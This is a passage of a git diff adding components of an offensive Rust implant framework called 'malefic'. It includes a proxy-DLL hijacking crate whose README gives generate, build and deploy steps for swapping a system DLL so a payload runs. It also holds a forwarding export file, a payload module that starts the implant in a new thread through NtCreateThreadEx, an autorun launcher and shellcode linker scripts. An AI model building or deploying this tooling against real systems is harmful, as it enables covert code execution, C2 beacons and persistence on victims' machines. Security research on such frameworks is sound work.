= &scan_buf[pos + 4..pos + 8]; + let size = + u32::from_le_bytes([size_bytes[0], size_bytes[1], size_bytes[2], size_bytes[3]]) as usize; + + if pos + 8 + size > scan_buf.len() { + return Err(anyhow!("Overlay watermark size mismatch")); + } + + Ok(scan_buf[pos + 8..pos + 8 + size].to_vec()) +} diff --git a/malefic-mutant/src/tool/watermark/mod.rs b/malefic-mutant/src/tool/watermark/mod.rs new file mode 100644 index 0000000..f1627a1 --- /dev/null +++ b/malefic-mutant/src/tool/watermark/mod.rs @@ -0,0 +1,3 @@ +pub mod methods; + +pub use methods::{read_watermark, write_watermark, WatermarkMethod}; diff --git a/malefic-prelude/Cargo.toml b/malefic-prelude/Cargo.toml new file mode 100644 index 0000000..427136e --- /dev/null +++ b/malefic-prelude/Cargo.toml @@ -0,0 +1,15 @@ +[package] +name = "malefic-prelude" +version = "0.1.1" +edition = "2021" + +[features] +default = [] +external_spite = ["malefic-autorun/external_spite"] + +[dependencies] +anyhow = { workspace = true } +malefic-autorun = { workspace = true } + +[build-dependencies] +embed-resource = { workspace = true } diff --git a/malefic-prelude/build.rs b/malefic-prelude/build.rs new file mode 100644 index 0000000..1709c8a --- /dev/null +++ b/malefic-prelude/build.rs @@ -0,0 +1,26 @@ +use std::{env, fs}; + +fn main() { + println!("cargo:rerun-if-changed=build.rs"); + println!("cargo:rerun-if-changed=../resources/malefic.rc"); + println!("test build!"); + + let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap_or_else(|_| "unknown".to_string()); + let target_env = env::var("CARGO_CFG_TARGET_ENV").unwrap_or_else(|_| "unknown".to_string()); + + println!("Detected target OS: {}", target_os); + println!("Detected target ENV: {}", target_env); + + if target_os.to_lowercase() == "windows" { + use embed_resource::CompilationResult; + let current_dir = std::env::current_dir().expect("Failed to get current directory"); + let rc_path = current_dir.join("../resources/malefic.rc"); + let absolute_rc_path = fs::canonicalize(current_dir.join(rc_path)).expect(""); + match embed_resource::compile(absolute_rc_path.to_str().unwrap(), embed_resource::NONE) { + CompilationResult::Ok => println!("cargo:warning=embed_resource compiled successfully"), + CompilationResult::Failed(e) => panic!("embed_resource failed: {}", e), + CompilationResult::NotAttempted(reason) => panic!("RC compiler not found: {}", reason), + CompilationResult::NotWindows => println!("cargo:warning=Not on Windows platform"), + } + } +} diff --git a/malefic-prelude/src/main.rs b/malefic-prelude/src/main.rs new file mode 100644 index 0000000..9669b84 --- /dev/null +++ b/malefic-prelude/src/main.rs @@ -0,0 +1,6 @@ +#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] +use malefic_autorun::run; + +fn main() -> anyhow::Result<()> { + run() +} diff --git a/malefic-proxydll/Cargo.toml b/malefic-proxydll/Cargo.toml new file mode 100644 index 0000000..064dfea --- /dev/null +++ b/malefic-proxydll/Cargo.toml @@ -0,0 +1,26 @@ +[package] +name = "malefic-proxydll" +version = "0.1.1" +edition = "2021" + +[features] +default = ["proxy"] +proxy = [] +block = [] +native_thread = [] + + +[lib] +crate-type = ["cdylib"] + +[dependencies] +lazy_static = { version = "1.5.0", features = ["spin_no_std"] } +malefic-os-win = { path = "../malefic-crates/win" } +malefic-autorun = { path = "../malefic-crates/autorun", optional = true} + +[dependencies.windows] +version = "0.51" +features = [ + "Win32_Foundation", + "Win32_UI_WindowsAndMessaging" +] diff --git a/malefic-proxydll/README.md b/malefic-proxydll/README.md new file mode 100644 index 0000000..2116d79 --- /dev/null +++ b/malefic-proxydll/README.md @@ -0,0 +1,77 @@ +# Malefic ProxyDLL + +A Rust-based DLL hijacking framework for red team operations and security testing. This project generates proxy DLLs that forward legitimate function calls while executing custom payload code. + +## 🎯 Overview + +Malefic ProxyDLL enables DLL hijacking attacks by creating proxy DLLs that: +1. **Forward legitimate calls** to the original DLL to maintain application functionality +2. **Execute custom payloads** when hijacked functions are called +3. **Support multiple thread models** for payload execution +4. **Provide clean, minimal code generation** with static function mapping + +## ðŸ—ï¸ Architecture + +### Core Components + +``` +malefic-proxydll/ +├── src/ +│ ├── lib.rs # Generated proxy DLL with all logic +│ └── payload.rs # User payload implementation +├── proxy.def # Generated DLL export definitions +├── Cargo.toml # Project configuration +└── build.rs # Build script +``` + +### Generated Files + +- **`lib.rs`** - Complete proxy DLL implementation with: + - Static function name mapping using `HIJACKED_FUNCTIONS` array + - Gateway function handling DLL loading and forwarding + - Export functions for hijacked and forwarded calls + - Thread management and payload execution + +- **`proxy.def`** - DLL export definitions: + - Hijacked functions: Direct exports (no forwarding) + - Other functions: Forward to original DLL + +## ðŸ› ï¸ Usage Guide + +### Step 1: Generate Proxy DLL + +```bash +# Basic generation +malefic-mutant generate proxy-dll -i C:\Windows\System32\TextShaping.dll -e ShapingCreateFontCacheData +``` + +### Step 2: Implement Payload + +Edit `src/payload.rs` to implement your custom payload: + +```rust +#[no_mangle] +pub extern "C" fn execute_payload() { + // Your red team payload here: + // - Establish C2 connection + // - Download additional modules + // - Persistence mechanisms + // - Lateral movement + // etc. +} +``` + +### Step 3: Build Proxy DLL + +```bash +# Standard build +cargo build --release -p malefic-proxydll + +``` + +### Step 4: Deploy and Test + +1. **Backup original DLL**: `mv original.dll original.dll.bak` +2. **Deploy proxy**: `cp target/release/malefic_proxydll.dll TextShaping.dll` +3. **Test application**: Launch the target application +4. **Verify execution**: Payload should execute when hijacked function is called diff --git a/malefic-proxydll/build.rs b/malefic-proxydll/build.rs new file mode 100644 index 0000000..e2e5df6 --- /dev/null +++ b/malefic-proxydll/build.rs @@ -0,0 +1,25 @@ +use std::env; +use std::path::Path; + +fn main() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").expect("CARGO_MANIFEST_DIR not set"); + let target = env::var("TARGET").unwrap_or_default(); + + // Handle .def file linking + let def_path = Path::new(&manifest_dir).join("proxy.def"); + if def_path.exists() { + // Use correct syntax based on toolchain + if target.contains("msvc") { + // MSVC linker syntax + println!("cargo:rustc-link-arg=/DEF:{}", def_path.display()); + } else if target.contains("gnu") { + // MinGW/GNU linker syntax - pass DEF file directly as object + println!("cargo:rustc-cdylib-link-arg={}", def_path.display()); + } + println!("cargo:rerun-if-changed=proxy.def"); + } + + // Rerun if core files change + println!("cargo:rerun-if-changed=src/lib.rs"); + println!("cargo:rerun-if-changed=src/payload.rs"); +} \ No newline at end of file diff --git a/malefic-proxydll/proxy.def b/malefic-proxydll/proxy.def new file mode 100644 index 0000000..44702a0 --- /dev/null +++ b/malefic-proxydll/proxy.def @@ -0,0 +1,224 @@ +EXPORTS +ClearPropVariantArray=PROPSYS_rename.dll.ClearPropVariantArray @1 +ClearVariantArray=PROPSYS_rename.dll.ClearVariantArray @2 +DllCanUnloadNow=PROPSYS_rename.dll.DllCanUnloadNow @3 +DllGetClassObject=PROPSYS_rename.dll.DllGetClassObject @4 +DllRegisterServer=PROPSYS_rename.dll.DllRegisterServer @5 +DllUnregisterServer=PROPSYS_rename.dll.DllUnregisterServer @6 +GetProxyDllInfo=PROPSYS_rename.dll.GetProxyDllInfo @7 +InitPropVariantFromBooleanVector=PROPSYS_rename.dll.InitPropVariantFromBooleanVector @8 +InitPropVariantFromBuffer=PROPSYS_rename.dll.InitPropVariantFromBuffer @9 +InitPropVariantFromCLSID=PROPSYS_rename.dll.InitPropVariantFromCLSID @10 +InitPropVariantFromDoubleVector=PROPSYS_rename.dll.InitPropVariantFromDoubleVector @11 +InitPropVariantFromFileTime=PROPSYS_rename.dll.InitPropVariantFromFileTime @12 +InitPropVariantFromFileTimeVector=PROPSYS_rename.dll.InitPropVariantFromFileTimeVector @13 +InitPropVariantFromGUIDAsString=PROPSYS_rename.dll.InitPropVariantFromGUIDAsString @14 +InitPropVariantFromInt16Vector=PROPSYS_rename.dll.InitPropVariantFromInt16Vector @15 +InitPropVariantFromInt32Vector=PROPSYS_rename.dll.InitPropVariantFromInt32Vector @16 +InitPropVariantFromInt64Vector=PROPSYS_rename.dll.InitPropVariantFromInt64Vector @17 +InitPropVariantFromPropVariantVectorElem=PROPSYS_rename.dll.InitPropVariantFromPropVariantVectorElem @18 +InitPropVariantFromResource=PROPSYS_rename.dll.InitPropVariantFromResource @19 +InitPropVariantFromStrRet=PROPSYS_rename.dll.InitPropVariantFromStrRet @20 +InitPropVariantFromStringAsVector=PROPSYS_rename.dll.InitPropVariantFromStringAsVector @21 +InitPropVariantFromStringVector=PROPSYS_rename.dll.InitPropVariantFromStringVector @22 +InitPropVariantFromUInt16Vector=PROPSYS_rename.dll.InitPropVariantFromUInt16Vector @23 +InitPropVariantFromUInt32Vector=PROPSYS_rename.dll.InitPropVariantFromUInt32Vector @24 +InitPropVariantFromUInt64Vector=PROPSYS_rename.dll.InitPropVariantFromUInt64Vector @25 +InitPropVariantVectorFromPropVariant=PROPSYS_rename.dll.InitPropVariantVectorFromPropVariant @26 +InitVariantFromBooleanArray=PROPSYS_rename.dll.InitVariantFromBooleanArray @27 +InitVariantFromBuffer=PROPSYS_rename.dll.InitVariantFromBuffer @28 +InitVariantFromDoubleArray=PROPSYS_rename.dll.InitVariantFromDoubleArray @29 +InitVariantFromFileTime=PROPSYS_rename.dll.InitVariantFromFileTime @30 +InitVariantFromFileTimeArray=PROPSYS_rename.dll.InitVariantFromFileTimeArray @31 +InitVariantFromGUIDAsString=PROPSYS_rename.dll.InitVariantFromGUIDAsString @32 +InitVariantFromInt16Array=PROPSYS_rename.dll.InitVariantFromInt16Array @33 +InitVariantFromInt32Array=PROPSYS_rename.dll.InitVariantFromInt32Array @34 +InitVariantFromInt64Array=PROPSYS_rename.dll.InitVariantFromInt64Array @35 +InitVariantFromResource=PROPSYS_rename.dll.InitVariantFromResource @36 +InitVariantFromStrRet=PROPSYS_rename.dll.InitVariantFromStrRet @37 +InitVariantFromStringArray=PROPSYS_rename.dll.InitVariantFromStringArray @38 +InitVariantFromUInt16Array=PROPSYS_rename.dll.InitVariantFromUInt16Array @39 +InitVariantFromUInt32Array=PROPSYS_rename.dll.InitVariantFromUInt32Array @40 +InitVariantFromUInt64Array=PROPSYS_rename.dll.InitVariantFromUInt64Array @41 +InitVariantFromVariantArrayElem=PROPSYS_rename.dll.InitVariantFromVariantArrayElem @42 +PSCoerceToCanonicalValue=PROPSYS_rename.dll.PSCoerceToCanonicalValue @43 +PSCreateAdapterFromPropertyStore=PROPSYS_rename.dll.PSCreateAdapterFromPropertyStore @44 +PSCreateDelayedMultiplexPropertyStore=PROPSYS_rename.dll.PSCreateDelayedMultiplexPropertyStore @45 +PSCreateMemoryPropertyStore @46 +PSCreateMultiplexPropertyStore=PROPSYS_rename.dll.PSCreateMultiplexPropertyStore @47 +PSCreatePropertyChangeArray=PROPSYS_rename.dll.PSCreatePropertyChangeArray @48 +PSCreatePropertyStoreFromObject=PROPSYS_rename.dll.PSCreatePropertyStoreFromObject @49 +PSCreatePropertyStoreFromPropertySetStorage=PROPSYS_rename.dll.PSCreatePropertyStoreFromPropertySetStorage @50 +PSCreateSimplePropertyChange=PROPSYS_rename.dll.PSCreateSimplePropertyChange @51 +PSEnumeratePropertyDescriptions=PROPSYS_rename.dll.PSEnumeratePropertyDescriptions @52 +PSFormatForDisplay=PROPSYS_rename.dll.PSFormatForDisplay @53 +PSFormatForDisplayAlloc=PROPSYS_rename.dll.PSFormatForDisplayAlloc @54 +PSFormatPropertyValue=PROPSYS_rename.dll.PSFormatPropertyValue @55 +PSGetImageReferenceForValue=PROPSYS_rename.dll.PSGetImageReferenceForValue @56 +PSGetItemPropertyHandler=PROPSYS_rename.dll.PSGetItemPropertyHandler @57 +PSGetItemPropertyHandlerWithCreateObject=PROPSYS_rename.dll.PSGetItemPropertyHandlerWithCreateObject @58 +PSGetNameFromPropertyKey=PROPSYS_rename.dll.PSGetNameFromPropertyKey @59 +PSGetNamedPropertyFromPropertyStorage=PROPSYS_rename.dll.PSGetNamedPropertyFromPropertyStorage @60 +PSGetPropertyDescription=PROPSYS_rename.dll.PSGetPropertyDescription @61 +PSGetPropertyDescriptionByName=PROPSYS_rename.dll.PSGetPropertyDescriptionByName @62 +PSGetPropertyDescriptionListFromString=PROPSYS_rename.dll.PSGetPropertyDescriptionListFromString @63 +PSGetPropertyFromPropertyStorage=PROPSYS_rename.dll.PSGetPropertyFromPropertyStorage @64 +PSGetPropertyKeyFromName=PROPSYS_rename.dll.PSGetPropertyKeyFromName @65 +PSGetPropertySystem=PROPSYS_rename.dll.PSGetPropertySystem @66 +PSGetPropertyValue=PROPSYS_rename.dll.PSGetPropertyValue @67 +PSLookupPropertyHandlerCLSID=PROPSYS_rename.dll.PSLookupPropertyHandlerCLSID @68 +PSPropertyBag_Delete=PROPSYS_rename.dll.PSPropertyBag_Delete @69 +PSPropertyBag_ReadBOOL=PROPSYS_rename.dll.PSPropertyBag_ReadBOOL @70 +PSPropertyBag_ReadBSTR=PROPSYS_rename.dll.PSPropertyBag_ReadBSTR @71 +PSPropertyBag_ReadDWORD=PROPSYS_rename.dll.PSPropertyBag_ReadDWORD @72 +PSPropertyBag_ReadGUID=PROPSYS_rename.dll.PSPropertyBag_ReadGUID @73 +PSPropertyBag_ReadInt=PROPSYS_rename.dll.PSPropertyBag_ReadInt @74 +PSPropertyBag_ReadLONG=PROPSYS_rename.dll.PSPropertyBag_ReadLONG @75 +PSPropertyBag_ReadPOINTL=PROPSYS_rename.dll.PSPropertyBag_ReadPOINTL @76 +PSPropertyBag_ReadPOINTS=PROPSYS_rename.dll.PSPropertyBag_ReadPOINTS @77 +PSPropertyBag_ReadPropertyKey=PROPSYS_rename.dll.PSPropertyBag_ReadPropertyKey @78 +PSPropertyBag_ReadRECTL=PROPSYS_rename.dll.PSPropertyBag_ReadRECTL @79 +PSPropertyBag_ReadSHORT=PROPSYS_rename.dll.PSPropertyBag_ReadSHORT @80 +PSPropertyBag_ReadStr=PROPSYS_rename.dll.PSPropertyBag_ReadStr @81 +PSPropertyBag_ReadStrAlloc=PROPSYS_rename.dll.PSPropertyBag_ReadStrAlloc @82 +PSPropertyBag_ReadStream=PROPSYS_rename.dll.PSPropertyBag_ReadStream @83 +PSPropertyBag_ReadType=PROPSYS_rename.dll.PSPropertyBag_ReadType @84 +PSPropertyBag_ReadULONGLONG=PROPSYS_rename.dll.PSPropertyBag_ReadULONGLONG @85 +PSPropertyBag_ReadUnknown=PROPSYS_rename.dll.PSPropertyBag_ReadUnknown @86 +PSPropertyBag_WriteBOOL=PROPSYS_rename.dll.PSPropertyBag_WriteBOOL @87 +PSPropertyBag_WriteBSTR=PROPSYS_rename.dll.PSPropertyBag_WriteBSTR @88 +PSPropertyBag_WriteDWORD=PROPSYS_rename.dll.PSPropertyBag_WriteDWORD @89 +PSPropertyBag_WriteGUID=PROPSYS_rename.dll.PSPropertyBag_WriteGUID @90 +PSPropertyBag_WriteInt=PROPSYS_rename.dll.PSPropertyBag_WriteInt @91 +PSPropertyBag_WriteLONG=PROPSYS_rename.dll.PSPropertyBag_WriteLONG @92 +PSPropertyBag_WritePOINTL=PROPSYS_rename.dll.PSPropertyBag_WritePOINTL @93 +PSPropertyBag_WritePOINTS=PROPSYS_rename.dll.PSPropertyBag_WritePOINTS @94 +PSPropertyBag_WritePropertyKey=PROPSYS_rename.dll.PSPropertyBag_WritePropertyKey @95 +PSPropertyBag_WriteRECTL=PROPSYS_rename.dll.PSPropertyBag_WriteRECTL @96 +PSPropertyBag_WriteSHORT=PROPSYS_rename.dll.PSPropertyBag_WriteSHORT @97 +PSPropertyBag_WriteStr=PROPSYS_rename.dll.PSPropertyBag_WriteStr @98 +PSPropertyBag_WriteStream=PROPSYS_rename.dll.PSPropertyBag_WriteStream @99 +PSPropertyBag_WriteULONGLONG=PROPSYS_rename.dll.PSPropertyBag_WriteULONGLONG @100 +PSPropertyBag_WriteUnknown=PROPSYS_rename.dll.PSPropertyBag_WriteUnknown @101 +PSPropertyKeyFromString=PROPSYS_rename.dll.PSPropertyKeyFromString @102 +PSRefreshPropertySchema=PROPSYS_rename.dll.PSRefreshPropertySchema @103 +PSRegisterPropertySchema=PROPSYS_rename.dll.PSRegisterPropertySchema @104 +PSSetPropertyValue=PROPSYS_rename.dll.PSSetPropertyValue @105 +PSStringFromPropertyKey=PROPSYS_rename.dll.PSStringFromPropertyKey @106 +PSUnregisterPropertySchema=PROPSYS_rename.dll.PSUnregisterPropertySchema @107 +PropVariantChangeType=PROPSYS_rename.dll.PropVariantChangeType @108 +PropVariantCompareEx=PROPSYS_rename.dll.PropVariantCompareEx @109 +PropVariantGetBooleanElem=PROPSYS_rename.dll.PropVariantGetBooleanElem @110 +PropVariantGetDoubleElem=PROPSYS_rename.dll.PropVariantGetDoubleElem @111 +PropVariantGetElementCount=PROPSYS_rename.dll.PropVariantGetElementCount @112 +PropVariantGetFileTimeElem=PROPSYS_rename.dll.PropVariantGetFileTimeElem @113 +PropVariantGetInt16Elem=PROPSYS_rename.dll.PropVariantGetInt16Elem @114 +PropVariantGetInt32Elem=PROPSYS_rename.dll.PropVariantGetInt32Elem @115 +PropVariantGetInt64Elem=PROPSYS_rename.dll.PropVariantGetInt64Elem @116 +PropVariantGetStringElem=PROPSYS_rename.dll.PropVariantGetStringElem @117 +PropVariantGetUInt16Elem=PROPSYS_rename.dll.PropVariantGetUInt16Elem @118 +PropVariantGetUInt32Elem=PROPSYS_rename.dll.PropVariantGetUInt32Elem @119 +PropVariantGetUInt64Elem=PROPSYS_rename.dll.PropVariantGetUInt64Elem @120 +PropVariantToBSTR=PROPSYS_rename.dll.PropVariantToBSTR @121 +PropVariantToBoolean=PROPSYS_rename.dll.PropVariantToBoolean @122 +PropVariantToBooleanVector=PROPSYS_rename.dll.PropVariantToBooleanVector @123 +PropVariantToBooleanVectorAlloc=PROPSYS_rename.dll.PropVariantToBooleanVectorAlloc @124 +PropVariantToBooleanWithDefault=PROPSYS_rename.dll.PropVariantToBooleanWithDefault @125 +PropVariantToBuffer=PROPSYS_rename.dll.PropVariantToBuffer @126 +PropVariantToDouble=PROPSYS_rename.dll.PropVariantToDouble @127 +PropVariantToDoubleVector=PROPSYS_rename.dll.PropVariantToDoubleVector @128 +PropVariantToDoubleVectorAlloc=PROPSYS_rename.dll.PropVariantToDoubleVectorAlloc @129 +PropVariantToDoubleWithDefault=PROPSYS_rename.dll.PropVariantToDoubleWithDefault @130 +PropVariantToFileTime=PROPSYS_rename.dll.PropVariantToFileTime @131 +PropVariantToFileTimeVector=PROPSYS_rename.dll.PropVariantToFileTimeVector @132 +PropVariantToFileTimeVectorAlloc=PROPSYS_rename.dll.PropVariantToFileTimeVectorAlloc @133 +PropVariantToGUID=PROPSYS_rename.dll.PropVariantToGUID @134 +PropVariantToInt16=PROPSYS_rename.dll.PropVariantToInt16 @135 +PropVariantToInt16Vector=PROPSYS_rename.dll.PropVariantToInt16Vector @136 +PropVariantToInt16VectorAlloc=PROPSYS_rename.dll.PropVariantToInt16VectorAlloc @137 +PropVariantToInt16WithDefault=PROPSYS_rename.dll.PropVariantToInt16WithDefault @138 +PropVariantToInt32=PROPSYS_rename.dll.PropVariantToInt32 @139 +PropVariantToInt32Vector=PROPSYS_rename.dll.PropVariantToInt32Vector @140 +PropVariantToInt32VectorAlloc=PROPSYS_rename.dll.PropVariantToInt32VectorAlloc @141 +PropVariantToInt32WithDefault=PROPSYS_rename.dll.PropVariantToInt32WithDefault @142 +PropVariantToInt64=PROPSYS_rename.dll.PropVariantToInt64 @143 +PropVariantToInt64Vector=PROPSYS_rename.dll.PropVariantToInt64Vector @144 +PropVariantToInt64VectorAlloc=PROPSYS_rename.dll.PropVariantToInt64VectorAlloc @145 +PropVariantToInt64WithDefault=PROPSYS_rename.dll.PropVariantToInt64WithDefault @146 +PropVariantToStrRet=PROPSYS_rename.dll.PropVariantToStrRet @147 +PropVariantToString=PROPSYS_rename.dll.PropVariantToString @148 +PropVariantToStringAlloc=PROPSYS_rename.dll.PropVariantToStringAlloc @149 +PropVariantToStringVector=PROPSYS_rename.dll.PropVariantToStringVector @150 +PropVariantToStringVectorAlloc=PROPSYS_rename.dll.PropVariantToStringVectorAlloc @151 +PropVariantToStringWithDefault=PROPSYS_rename.dll.PropVariantToStringWithDefault @152 +PropVariantToUInt16=PROPSYS_rename.dll.PropVariantToUInt16 @153 +PropVariantToUInt16Vector=PROPSYS_rename.dll.PropVariantToUInt16Vector @154 +PropVariantToUInt16VectorAlloc=PROPSYS_rename.dll.PropVariantToUInt16VectorAlloc @155 +PropVariantToUInt16WithDefault=PROPSYS_rename.dll.PropVariantToUInt16WithDefault @156 +PropVariantToUInt32=PROPSYS_rename.dll.PropVariantToUInt32 @157 +PropVariantToUInt32Vector=PROPSYS_rename.dll.PropVariantToUInt32Vector @158 +PropVariantToUInt32VectorAlloc=PROPSYS_rename.dll.PropVariantToUInt32VectorAlloc @159 +PropVariantToUInt32WithDefault=PROPSYS_rename.dll.PropVariantToUInt32WithDefault @160 +PropVariantToUInt64=PROPSYS_rename.dll.PropVariantToUInt64 @161 +PropVariantToUInt64Vector=PROPSYS_rename.dll.PropVariantToUInt64Vector @162 +PropVariantToUInt64VectorAlloc=PROPSYS_rename.dll.PropVariantToUInt64VectorAlloc @163 +PropVariantToUInt64WithDefault=PROPSYS_rename.dll.PropVariantToUInt64WithDefault @164 +PropVariantToVariant=PROPSYS_rename.dll.PropVariantToVariant @165 +PropVariantToWinRTPropertyValue=PROPSYS_rename.dll.PropVariantToWinRTPropertyValue @166 +StgDeserializePropVariant=PROPSYS_rename.dll.StgDeserializePropVariant @167 +StgSerializePropVariant=PROPSYS_rename.dll.StgSerializePropVariant @168 +VariantCompare=PROPSYS_rename.dll.VariantCompare @169 +VariantGetBooleanElem=PROPSYS_rename.dll.VariantGetBooleanElem @170 +VariantGetDoubleElem=PROPSYS_rename.dll.VariantGetDoubleElem @171 +VariantGetElementCount=PROPSYS_rename.dll.VariantGetElementCount @172 +VariantGetInt16Elem=PROPSYS_rename.dll.VariantGetInt16Elem @173 +VariantGetInt32Elem=PROPSYS_rename.dll.VariantGetInt32Elem @174 +VariantGetInt64Elem=PROPSYS_rename.dll.VariantGetInt64Elem @175 +VariantGetStringElem=PROPSYS_rename.dll.VariantGetStringElem @176 +VariantGetUInt16Elem=PROPSYS_rename.dll.VariantGetUInt16Elem @177 +VariantGetUInt32Elem=PROPSYS_rename.dll.VariantGetUInt32Elem @178 +VariantGetUInt64Elem=PROPSYS_rename.dll.VariantGetUInt64Elem @179 +VariantToBoolean=PROPSYS_rename.dll.VariantToBoolean @180 +VariantToBooleanArray=PROPSYS_rename.dll.VariantToBooleanArray @181 +VariantToBooleanArrayAlloc=PROPSYS_rename.dll.VariantToBooleanArrayAlloc @182 +VariantToBooleanWithDefault=PROPSYS_rename.dll.VariantToBooleanWithDefault @183 +VariantToBuffer=PROPSYS_rename.dll.VariantToBuffer @184 +VariantToDosDateTime=PROPSYS_rename.dll.VariantToDosDateTime @185 +VariantToDouble=PROPSYS_rename.dll.VariantToDouble @186 +VariantToDoubleArray=PROPSYS_rename.dll.VariantToDoubleArray @187 +VariantToDoubleArrayAlloc=PROPSYS_rename.dll.VariantToDoubleArrayAlloc @188 +VariantToDoubleWithDefault=PROPSYS_rename.dll.VariantToDoubleWithDefault @189 +VariantToFileTime=PROPSYS_rename.dll.VariantToFileTime @190 +VariantToGUID=PROPSYS_rename.dll.VariantToGUID @191 +VariantToInt16=PROPSYS_rename.dll.VariantToInt16 @192 +VariantToInt16Array=PROPSYS_rename.dll.VariantToInt16Array @193 +VariantToInt16ArrayAlloc=PROPSYS_rename.dll.VariantToInt16ArrayAlloc @194 +VariantToInt16WithDefault=PROPSYS_rename.dll.VariantToInt16WithDefault @195 +VariantToInt32=PROPSYS_rename.dll.VariantToInt32 @196 +VariantToInt32Array=PROPSYS_rename.dll.VariantToInt32Array @197 +VariantToInt32ArrayAlloc=PROPSYS_rename.dll.VariantToInt32ArrayAlloc @198 +VariantToInt32WithDefault=PROPSYS_rename.dll.VariantToInt32WithDefault @199 +VariantToInt64=PROPSYS_rename.dll.VariantToInt64 @200 +VariantToInt64Array=PROPSYS_rename.dll.VariantToInt64Array @201 +VariantToInt64ArrayAlloc=PROPSYS_rename.dll.VariantToInt64ArrayAlloc @202 +VariantToInt64WithDefault=PROPSYS_rename.dll.VariantToInt64WithDefault @203 +VariantToPropVariant=PROPSYS_rename.dll.VariantToPropVariant @204 +VariantToStrRet=PROPSYS_rename.dll.VariantToStrRet @205 +VariantToString=PROPSYS_rename.dll.VariantToString @206 +VariantToStringAlloc=PROPSYS_rename.dll.VariantToStringAlloc @207 +VariantToStringArray=PROPSYS_rename.dll.VariantToStringArray @208 +VariantToStringArrayAlloc=PROPSYS_rename.dll.VariantToStringArrayAlloc @209 +VariantToStringWithDefault=PROPSYS_rename.dll.VariantToStringWithDefault @210 +VariantToUInt16=PROPSYS_rename.dll.VariantToUInt16 @211 +VariantToUInt16Array=PROPSYS_rename.dll.VariantToUInt16Array @212 +VariantToUInt16ArrayAlloc=PROPSYS_rename.dll.VariantToUInt16ArrayAlloc @213 +VariantToUInt16WithDefault=PROPSYS_rename.dll.VariantToUInt16WithDefault @214 +VariantToUInt32=PROPSYS_rename.dll.VariantToUInt32 @215 +VariantToUInt32Array=PROPSYS_rename.dll.VariantToUInt32Array @216 +VariantToUInt32ArrayAlloc=PROPSYS_rename.dll.VariantToUInt32ArrayAlloc @217 +VariantToUInt32WithDefault=PROPSYS_rename.dll.VariantToUInt32WithDefault @218 +VariantToUInt64=PROPSYS_rename.dll.VariantToUInt64 @219 +VariantToUInt64Array=PROPSYS_rename.dll.VariantToUInt64Array @220 +VariantToUInt64ArrayAlloc=PROPSYS_rename.dll.VariantToUInt64ArrayAlloc @221 +VariantToUInt64WithDefault=PROPSYS_rename.dll.VariantToUInt64WithDefault @222 +WinRTPropertyValueToPropVariant=PROPSYS_rename.dll.WinRTPropertyValueToPropVariant @223 diff --git a/malefic-proxydll/src/lib.rs b/malefic-proxydll/src/lib.rs new file mode 100644 index 0000000..e69de29 diff --git a/malefic-proxydll/src/payload.rs b/malefic-proxydll/src/payload.rs new file mode 100644 index 0000000..a0ec8e9 --- /dev/null +++ b/malefic-proxydll/src/payload.rs @@ -0,0 +1,57 @@ +use std::{thread, ptr}; + +/// Thread creation interface with feature-based overrides +#[cfg(feature = "native_thread")] +pub fn create_payload_thread() { + use malefic_os_win::kit::apis::{m_nt_create_thread_ex, m_get_current_process}; + + unsafe { + let mut thread_handle: *mut core::ffi::c_void = ptr::null_mut(); + let thread_handle_ptr: *mut core::ffi::c_void = &mut thread_handle as *mut _ as *mut core::ffi::c_void; + let current_process = m_get_current_process(); + let start_routine = execute_payload as *const () as *mut core::ffi::c_void; + + let ret = m_nt_create_thread_ex( + thread_handle_ptr, // ThreadHandle + 0x1FFFFF, // DesiredAccess (THREAD_ALL_ACCESS) + ptr::null_mut(), // ObjectAttributes + current_process, // ProcessHandle + start_routine, // StartAddress + ptr::null_mut(), // StartParameter + 0, // CreateSuspended (FALSE) + 0, // StackZeroBits + 0, // SizeOfStackCommit + 0, // SizeOfStackReserve + ptr::null_mut(), // AttributeList + ); + + // NT_SUCCESS(ret) means ret == 0 + if ret != 0 { + // Fallback to std::thread if NtCreateThreadEx fails + thread::spawn(|| { execute_payload(); }); + } + } +} + +#[cfg(not(feature = "native_thread"))] +pub fn create_payload_thread() { + thread::spawn(|| { execute_payload(); }); +} + +/// User-implemented payload function +/// This is the ONLY code users need to care about +/// This function will be executed in a new thread when hijacked function is called +/// +/// Users can implement here: +/// - Start beacon +/// - Download additional modules +/// - Establish C2 connection +/// - Persistence mechanisms +/// And other payload functionality +#[no_mangle] +pub extern "C" fn execute_payload() { + // TODO: Users add their payload implementation here + #[cfg(feature = "malefic-autorun")] + if let Err(_e) = malefic_autorun::run() { + } +} diff --git a/malefic-pulse/Cargo.toml b/malefic-pulse/Cargo.toml new file mode 100644 index 0000000..21ff87c --- /dev/null +++ b/malefic-pulse/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "malefic-pulse" +version = "0.1.1" +edition = "2021" + +[lib] +name = "malefic_pulse" +crate-type = ["staticlib", "cdylib", "rlib"] + +[[bin]] +name = "malefic-pulse" +path = "src/main.rs" + +[features] +default = [] + +shellcode = [] + +[profile.release] +panic = "abort" +opt-level = "s" +strip = true +lto = true +codegen-units = 1 \ No newline at end of file diff --git a/malefic-pulse/Linker32.ld b/malefic-pulse/Linker32.ld new file mode 100644 index 0000000..297a3d2 --- /dev/null +++ b/malefic-pulse/Linker32.ld @@ -0,0 +1,25 @@ +ENTRY(_start); + +SECTIONS +{ + . = 0x0000; + + .text ALIGN(8) : + { + *(.text.prologue) + *(.text*) + *(.rodata*) + *(.rdata*) + *(.global*) + } + + /DISCARD/ : + { + *(.interp) + *(.comment) + *(.debug_frame) + *(.bss) + *(.pdata) + *(.xdata) + } +} \ No newline at end of file diff --git a/malefic-pulse/Linker64.ld b/malefic-pulse/Linker64.ld new file mode 100644 index 0000000..2424338 --- /dev/null +++ b/malefic-pulse/Linker64.ld @@ -0,0 +1,25 @@ +ENTRY(_start); + +SECTIONS +{ + . = 0x0000; + + .text ALIGN(16) : + { + *(.text.prologue) + *(.text*) + *(.rodata*) + *(.rdata*) + *(.global*) + } + + /DISCARD/ : + { + *(.interp) + *(.comment) + *(.debug_frame) + *(.bss) + *(.pdata) + *(.xdata) + } +} \ No newline at end of file diff --git a/malefic-pulse/build.rs b/malefic-pulse/build.rs new file mode 100644 index 0000000..8975a81 --- /dev/null +++ b/malefic-pulse/build.rs @@ -0,0 +1,48 @@ +use std::env; + +fn main() { + let target = env::var("TARGET").unwrap(); + + if !target.contains("windows") { + panic!("malefic-pulse only supports Windows targets"); + } + + println!("cargo:rerun-if-changed=build.rs"); + 